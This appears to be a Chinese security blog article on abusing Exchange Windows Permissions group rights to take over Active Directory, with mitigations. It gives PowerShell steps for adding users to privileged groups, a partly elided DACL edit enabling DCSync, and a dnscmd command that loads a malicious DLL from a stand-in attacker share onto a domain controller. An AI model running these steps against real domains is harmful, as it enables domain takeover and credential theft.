Exchange Windows Permissions组权限滥用:Exchange-AD-Privesc核心漏洞深度剖析

Exchange Windows Permissions组权限滥用:Exchange-AD-Privesc核心漏洞深度剖析

【免费下载链接】Exchange-AD-Privesc Exchange privilege escalations to Active Directory 【免费下载链接】Exchange-AD-Privesc 项目地址: https://gitcode.com/gh_mirrors/ex/Exchange-AD-Privesc

Exchange-AD-Privesc是一个专注于Exchange服务器权限提升至Active Directory的安全研究项目,它揭示了Microsoft Exchange部署对Active Directory安全的潜在影响。本文将深入剖析Exchange Windows Permissions组权限滥用的核心漏洞,帮助安全从业者和系统管理员理解风险并采取防御措施。

什么是Exchange Windows Permissions组?

在Exchange部署中,Exchange Windows Permissions(EWP) 是一个关键的安全组,它被授予了许多Active Directory对象的访问控制权限。根据Exchange的权限模型(RBAC Split、Shared或AD Split),EWP组会被添加到各种AD对象的DACL(Discretionary Access Control List)中,以支持Exchange服务的正常运行。

Exchange Windows Permissions组权限滥用的危害

EWP组权限滥用可能导致严重的安全后果,攻击者可以通过以下途径完全控制Active Directory域:

  1. 修改域对象DACL:获得WriteDACL权限后可添加复制权限,使用DCSync获取域内所有用户凭证
  2. 控制DNSAdmins组:通过EWP组权限添加DNSAdmins组成员,进而在域控制器上执行代码
  3. 利用Exchange服务器作为跳板:Exchange服务器通常是EWP组成员,攻陷后可间接获取EWP权限

域对象DACL权限漏洞深度解析

漏洞原理

在Exchange 2010/2013/2016的Shared或RBAC Split权限模型中,当执行"Setup /PrepareAD"命令时,会在域对象上为EWP组添加两个缺少INHERIT_ONLY_ACE标志的ACE(Access Control Entry):

(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;<SID of EWP>)
(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;<SID of EWP>)

这导致EWP组不仅对用户/inetOrgPerson子对象有WriteDACL权限,而是对域对象本身也有该权限,违背了设计初衷。

漏洞可视化分析

在DSA控制台中可以清晰看到这些有问题的ACE:

Exchange Windows Permissions组在域对象上的ACE视图

通过"Effective Access"选项卡可以确认EWP组对域对象本身具有WriteDACL权限:

Exchange Windows Permissions组的有效访问权限

利用流程

  1. 将用户添加到EWP组(Organization Management成员可执行):

    $user = Get-ADUser -Identity $env:USERNAME
    Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members $user
    
  2. 获取域对象DACL并添加复制权限

    $acl = get-acl "ad:DC=test,DC=local"
    # 添加Ds-Replication-Get-Changes和Ds-Replication-Get-Changes-All扩展权限
    # ...(权限添加代码)...
    Set-acl -aclobject $acl "ad:DC=test,DC=local"
    
  3. 使用DCSync获取域内所有用户凭证,完全控制Active Directory域

DNSAdmins组权限滥用漏洞解析

漏洞原理

EWP组和Exchange Trusted Subsystem(ETS)组对DNSAdmins组有以下控制权限:

  • EWP组:对ManagedBy和Member属性有WriteProp权限
  • ETS组:对Group类对象有WriteDACL权限

EWP组对DNSAdmins的有效访问权限

这些权限使攻击者能够添加DNSAdmins组成员,而DNSAdmins组具有在域控制器上加载DLL的特殊权限。

利用流程

  1. 通过EWP组添加DNSAdmins成员

    $user = Get-ADUser -Identity $env:USERNAME
    Add-ADGroupMember -Identity "DNSAdmins" -Members $user
    
  2. 在域控制器上配置恶意DLL加载

    dnscmd dc01.test.local /config /serverlevelplugindll \\attacker\share\malicious.dll
    
  3. 重启DNS服务后执行代码,以SYSTEM权限完全控制域控制器

ETS组对DNSAdmins的有效访问权限

漏洞修复方案

官方修复

Microsoft已在以下Exchange更新中修复了这些问题:

  • Exchange Server 2019 – Cumulative Update 1
  • Exchange Server 2016 – Cumulative Update 12
  • Exchange Server 2013 – Cumulative Update 22

安装更新后需执行:Setup.exe /PrepareAD/PrepareDomain 命令以应用修复。

手动修复工具

项目提供了两个PowerShell脚本用于修复这些权限问题:

  1. 域对象DACL修复Fix-DomainObjectDACL.ps1

    • 检查并设置缺失的INHERIT_ONLY标志
    • 使用 -Fix 参数应用修复,-Restore 参数恢复原始状态
  2. DNSAdmins组DACL修复Fix-DNSAdmins-DACL.ps1

    • 检查并移除EWP和ETS组的不当权限
    • 使用 -Fix 参数禁用继承并删除有问题的ACE

防御建议

为保护Exchange和Active Directory环境免受此类权限滥用攻击,建议:

  1. 及时应用Exchange累积更新:确保Exchange服务器运行最新的安全更新
  2. 使用RBAC Split权限模型:相比默认的Shared模型提供更严格的权限控制
  3. 限制EWP组成员:仅必要的Exchange服务账户应属于此组
  4. 监控敏感组变更:配置警报监控EWP、DNSAdmins等特权组的成员变化
  5. 定期审计AD权限:使用AD-Control-Paths等工具检查不当的ACE配置

通过理解和防范Exchange Windows Permissions组权限滥用漏洞,组织可以显著提高Active Directory环境的安全性,防止攻击者利用Exchange作为跳板获取域管理员权限。

【免费下载链接】Exchange-AD-Privesc Exchange privilege escalations to Active Directory 【免费下载链接】Exchange-AD-Privesc 项目地址: https://gitcode.com/gh_mirrors/ex/Exchange-AD-Privesc

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值